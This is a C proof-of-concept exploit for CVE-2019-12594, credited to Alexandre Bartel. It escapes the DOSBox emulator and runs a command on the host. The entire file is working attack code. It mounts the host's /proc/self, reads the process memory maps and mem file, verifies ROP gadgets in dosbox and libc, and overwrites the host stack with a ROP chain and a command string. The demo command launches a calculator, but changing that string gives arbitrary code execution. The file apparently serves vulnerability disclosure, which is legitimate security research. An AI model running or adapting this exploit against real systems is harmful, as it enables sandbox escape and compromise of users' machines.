// // Description: PoC for CVE-2019-12594 // Author: Alexandre Bartel // #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define GETLINE_MINSIZE 16 // // The getline function was not available at the // time... int my_getline2(char **lineptr, size_t *n, FILE *fp) { int ch; int i = 0; char free_on_err = 0; char *p; errno = 0; if (lineptr == NULL || n == NULL || fp == NULL) { errno = EINVAL; return -1; } if (*lineptr == NULL) { *n = GETLINE_MINSIZE; *lineptr = (char *)malloc( sizeof(char) * (*n)); if (*lineptr == NULL) { errno = ENOMEM; return -1; } free_on_err = 1; } for (i=0; ; i++) { ch = fgetc(fp); while (i >= (*n) - 2) { *n *= 2; p = realloc(*lineptr, sizeof(char) * (*n)); if (p == NULL) { if (free_on_err) free(*lineptr); errno = ENOMEM; return -1; } *lineptr = p; } if (ch == EOF) { if (i == 0) { if (free_on_err) free(*lineptr); return -1; } (*lineptr)[i] = '\0'; *n = i; return i; } if (ch == '\n') { (*lineptr)[i] = '\n'; (*lineptr)[i+1] = '\0'; *n = i+1; return i+1; } (*lineptr)[i] = (char)ch; } } // // void seek_to_addr(unsigned long long addr, FILE * fd) { unsigned long count, j, STEP; long long retval = 0; retval = fseek(fd, 0 ,SEEK_SET); if (0 != retval) { printf("error retval1 != 0: %d \n", retval); exit(-1); } STEP = 1000000000; count = (addr / STEP); for (j = 0; j < count; j++) { retval = fseek(fd, STEP ,SEEK_CUR); if (0 != retval) { printf("error retval2 != 0: %d \n", retval); exit(-1); } } retval = fseek(fd, (addr % STEP) ,SEEK_CUR); if (0 != retval) { printf("error retval3 != 0: %d \n", retval); exit(-1); } } int check_gadget(FILE *mem, uint64_t addr, uint8_t *expected, uint8_t expected_len) { int all_ok = 1; int retval = 0; uint8_t i = 0; uint8_t *buffer = NULL; printf(" -> Checking gadget at 0x%" PRIx64 "\n", addr); seek_to_addr(addr, mem); buffer = malloc(expected_len); retval = fread(buffer, 1, expected_len, mem); if (expected_len != retval) { printf("error retval fread != 0: %d, error: %d \n", retval, ferror(mem)); exit(-1); } printf(" byte: "); for (i = 0; i < expected_len; i++) { if (!(i == 0 && buffer[i] == 0xcc) && buffer[i] != expected[i]) { printf("ERROR: expected '%x' but got '%x'\n", expected[i], buffer[i]); all_ok = 0; } else { if (i == 0) { printf("byte "); } printf(" %d/%d: ok!", i+1, expected_len); } } printf("\n"); return all_ok; } void escape() { FILE * fd = NULL; FILE * sc_fp = NULL; int i,j,c,l, found = 0; unsigned long long offset; unsigned long long addr, ftell_addr; unsigned long long dosbox_normalloop_addr; unsigned long long chain_start_addr; unsigned long long chain_end_addr; long long retval = 0; FILE * fp; char * line = NULL; size_t len2 = 0; ssize_t read; unsigned long long heap = 0; char subbuff[13]; unsigned long long tmp8; unsigned long long shift; int64_t addresses_start[1000]; int64_t addresses_end[1000]; int64_t gadget = 0; int gadget_popret_nbr = 0; int addr_i = 0; int stack_i = -1; int dosbox_i = -1; int libc_i = -1; int diff = 0; int same_count = 0; char * start = NULL; char * command = "export DISPLAY=:0.0; /usr/bin/qalculate-gtk -n"; int64_t * chain = NULL; uint8_t * gadget_0_expected = NULL; uint8_t * gadget_1_expected = NULL; uint8_t * gadget_2_expected = NULL; uint8_t gadget_0_expected_len = 0; uint8_t gadget_1_expected_len = 0; uint8_t gadget_2_expected_len = 0; int chain_len = 0; uint64_t addr_NormalLoop = 0; uint64_t offset_to_fwrite = 0; uint64_t offset_to_docommand = 0; uint64_t return_addr_in_stack = 0; uint8_t * stack_buffer = NULL; uint64_t stack_buffer_len = 0; uint8_t * stack_tmp = NULL; uint16_t stack_padding = 0; char * tmp_buffer = malloc(1); chain = malloc(64 * 10000); memset(chain, 0x41, 64 * 10000); fd = fopen("p:\\mem", "rwb"); if (fd == NULL) { printf("[-] Error: could not open mem in RDWR mode! retval = %d", fd); exit(EXIT_FAILURE); } fp = fopen("p:\\maps", "r"); if (fp == NULL) { exit(EXIT_FAILURE); } printf("[+] Reading maps...\n"); fflush(stdout); while ((read = my_getline2(&line, &len2, fp)) != -1) { // start address memcpy( subbuff, &line[0], 12 ); subbuff[12] = '\0'; heap = strtoll(subbuff, NULL, 16); addresses_start[addr_i] = heap; // end address memcpy( subbuff, &line[13], 12 ); subbuff[12] = '\0'; heap = strtoll(subbuff, NULL, 16); addresses_end[addr_i] = heap; // find stack/text/libc sections if(strstr(line, " rw") != NULL && strstr(line, "stack") != NULL) { if (stack_i < 0) { stack_i = addr_i; } // save first only } else if (strstr(line, "dosbox") != NULL) { if (dosbox_i < 0) { dosbox_i = addr_i; } // save first only } else if (strstr(line, "libc-2") != NULL) { if (libc_i < 0) { libc_i = addr_i; } // save first only } addr_i++; } printf(" * stack @: 0x%llx\n", stack_i < 0 ? 0 : addresses_start[stack_i]); printf(" * libc @: 0x%llx\n", libc_i < 0 ? 0 : addresses_start[libc_i]); printf(" * dosbox @: 0x%llx\n", dosbox_i < 0 ? 0 : addresses_start[dosbox_i]); printf("[+] Constructing gadget chain...\n"); chain_len = 3; chain[0] = 0x0000000000028d87; chain[1] = addresses_start[stack_i]; // @ "/usr/bin/qalculate-gtk",0 chain[2] = 0x00000000000449c0; chain[3] = 0x0000000000037d28; // eb fe = jump to itself = infinite loop chain[0] += addresses_start[dosbox_i]; chain[2] += addresses_start[libc_i]; chain[3] += addresses_start[dosbox_i]; /////////////////////////////////////// /////////////////////////////////////// printf("[+] Checking presence of gadgets...\n"); gadget_0_expected_len = 2; gadget_0_expected = malloc(gadget_0_expected_len); gadget_0_expected[0] = 0x5f; gadget_0_expected[1] = 0xc3; if (! check_gadget(fd, chain[0], gadget_0_expected, gadget_0_expected_len)) { printf("[-] gadget 0 not found.\n"); exit(-1); } // gadget_1_expected_len = 6; gadget_1_expected = malloc(gadget_1_expected_len); gadget_1_expected[0] = 0x48; gadget_1_expected[1] = 0x85; gadget_1_expected[2] = 0xff; gadget_1_expected[3] = 0x74; gadget_1_expected[4] = 0x0b; gadget_1_expected[5] = 0xe9; if (! check_gadget(fd, chain[2], gadget_1_expected, gadget_1_expected_len)) { printf("[-] gadget 2 not found.\n"); exit(-1); } ////////////////////////////////////////////////////// ////////////////////////////////////////////////////// for (i = 0; i < chain_len; i++) { printf(" * gadget %d: %llx\n", i, chain[i]); } //////////////////////////////////////////////////////////////// // cheching stack to know where to overwrite with rop chain... //////////////////////////////////////////////////////////////// printf("[+] Finding stack location...\n"); addr_NormalLoop = 0x2a10f + addresses_start[dosbox_i]; return_addr_in_stack = 0; seek_to_addr(addresses_start[stack_i], fd); stack_buffer_len = 0x21000; stack_buffer = malloc(stack_buffer_len); retval = fread(stack_buffer, 1, stack_buffer_len, fd); if (stack_buffer_len != retval) { printf("error retval fread stack_buffer: retval is %d which is != than %d, error: %d \n", retval, stack_buffer_len, ferror(fd)); exit(-1); } stack_tmp = (uint8_t *)&addr_NormalLoop; printf("[+] Trying to find address of NormalLoop: 0x%" PRIx64 "\n", addr_NormalLoop); for (i = 0; i < 8; i++) { printf("%x ", stack_tmp[i] & 0xff); } printf("\n"); for (i = stack_buffer_len - 8; i >=0 ; i--) { found = 0; for (j = 0; j < 8; j++) { if (stack_tmp[j] == stack_buffer[j + i]) { found += 1; } else { break; } } if (found == 8) { break; } } if (found == 8) { return_addr_in_stack = addresses_start[stack_i] + i; printf("[+] found address of NormalLoop: 0x%" PRIx64 "\n", return_addr_in_stack); } else { printf("[-] address of NormalLoop not found!\n", i); } //////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////// // updating ROP chain //////////////////////////////////////////////////////////////// // addresse where to start writting the ROP chain offset_to_docommand = 0x40; chain_start_addr = return_addr_in_stack; chain_end_addr = return_addr_in_stack + offset_to_docommand; gadget = 0x32636 + addresses_start[dosbox_i]; gadget_popret_nbr = (chain_end_addr - (chain_start_addr + 8 * chain_len)); printf("[+] nbr gadget to finish docommand: %d \n", gadget_popret_nbr); gadget_popret_nbr = gadget_popret_nbr / 8; printf("[+] nbr gadget to finish docommand: %d \n", gadget_popret_nbr); for (i = chain_len; i < chain_len + gadget_popret_nbr - 1; i++) { chain[i] = gadget; } gadget = 0x201784; gadget += addresses_start[dosbox_i]; chain[i++] = gadget; printf(" * gadget %d: %llx\n", i, chain[i-1]); //////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////// printf("[+] Writing ROP...\n"); printf(" * chain start addr : 0x%llx\n", chain_start_addr); printf(" * 8 byte chain gadgets : 0x%x\n", chain_len); printf(" * 8 byte ret gadgets : 0x%x\n", gadget_popret_nbr); printf(" * chain end addr : 0x%llx\n", chain_start_addr + (chain_len + gadget_popret_nbr) * 8); printf(" * chain end addr : 0x%llx\n", chain_end_addr); fflush(stdout); fclose(fd); fd = fopen("p:\\mem", "wb"); // write command at start of stack seek_to_addr(addresses_start[stack_i], fd); retval = fwrite(command, 1, strlen(command) + 1, fd); printf("[+] Command write ret = %d\n", retval); seek_to_addr(chain_start_addr, fd); stack_padding = 0; retval = fwrite(chain, 8, (chain_len + gadget_popret_nbr) + stack_padding, fd); printf("[+] Chain write ret = %d\n", retval); // this is not executed printf("ERROR, exploitation failed. Should not reach this point.\n"); exit(-1); } void mount() { system("mount p /proc/self/"); } // // Escape Dosbox and run arbitrary code on the // host as the dosbox process int main() { mount(); escape(); return 0; }